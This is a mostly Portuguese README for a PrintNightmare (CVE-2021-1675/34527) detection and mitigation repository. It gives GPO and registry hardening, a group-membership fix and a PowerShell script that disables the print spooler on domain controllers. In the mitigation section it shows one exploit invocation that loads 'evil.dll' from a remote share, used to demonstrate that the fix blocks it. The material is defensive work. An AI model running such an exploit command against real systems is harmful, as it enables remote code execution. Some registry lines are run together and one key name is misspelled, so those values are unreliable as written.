
CVE-2021-1675 Informação de Detecção
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Este repositório contém uma amostra EVTX do ataque CVE-2021-1675 e CVE-2021-34527, bem como um arquivo de configuração mínimo do Sysmon que pode ser usado para gerar a telemetria relevante.
Observe que essas regras podem ser contornadas - aplique o patch conforme apropriado e desabilite o serviço de spooler de impressão em controladores de domínio.
Teste todas as correções recomendadas antes de implantar em produção, pois pode haver consequências não intencionais resultantes dessas alterações de endurecimento. Escrevemos uma postagem no blog explicando o conteúdo deste repositório e as informações encontradas. Aqui: https://labs.lares.com/detection-and-mitigation-printnightmare/
Graças a Benjamin Delpy, há um fluxograma atualizado sobre a exploração deste problema para determinar se seus sistemas são provavelmente vulneráveis.

Security Settings -> System Services -> Print Spooler -> Disable
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections - > Disable
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Printers -> Point and Print Restrictions -> Security Prompts -> When installing drivers for a new connection -> Show warning and elevation prompt
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1O patch lançado pela Microsoft em junho de 2021 corrige o CVE-2021-1675, mas infelizmente não corrige o problema conhecido como PrintNightmare (CVE-2021-34527). Portanto, uma correção alternativa pode ser aplicada desabilitando o serviço de spooler de impressão. Veja como fazer isso tanto no GPO quanto no PowerShell. Foi confirmado que o GPO corrige tanto a função MS-RPRN RpcAddPrinterDriverEx quanto a função Win32 AddPrinterDriverEx que o SharpPrintNightmare utiliza.
O seguinte GPO pode ser definido para negar conexões de clientes ao spooler, o que é uma solução alternativa potencial quando desabilitar completamente o serviço de spooler pode não ser uma opção. Isso foi testado em controladores de domínio e endpoints (W7/W10) em um ambiente de laboratório e os usuários ainda podem adicionar/remover impressoras e imprimir, no entanto, impede a exploração. Nota: Também se entende que este GPO também corrige CVE-2021-34527 conforme observado na página de vulnerabilidade da Microsoft.
Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections
defina isso como Desabilitado:

Em seguida, reinicie o serviço de spooler no host afetado. Se tudo correr bem, a exploração será negada:
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
Outra correção/solução alternativa é remover os usuários autenticados de Pre-Windows 2000 Compatible Access conforme descoberto por Dirk-jan.

Garanta que os grupos "Usuários Autenticados" não sejam membros do grupo "Acesso Compatível com Pré-Windows 2000". (Por padrão, esses grupos não estão incluídos nas versões atuais do Windows.) conforme mostrado na captura de tela abaixo, não deve haver membros:

Se tiver dúvidas sobre como fazer isso, as seguintes etapas podem ser seguidas:
Adaptado do script do 0gtweet para usar ADDomainController para obter todos os DCs do domínio
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}
$disableSpooler = $true
foreach ($DriverName in ($printers.DriverName))
{
if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
{
Write-Host " Printer found: $DriverName" -ForegroundColor Green
$disableSpooler = $false
}
}
if ($disableSpooler)
{
Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
(Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose
}
else
{
Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
}
}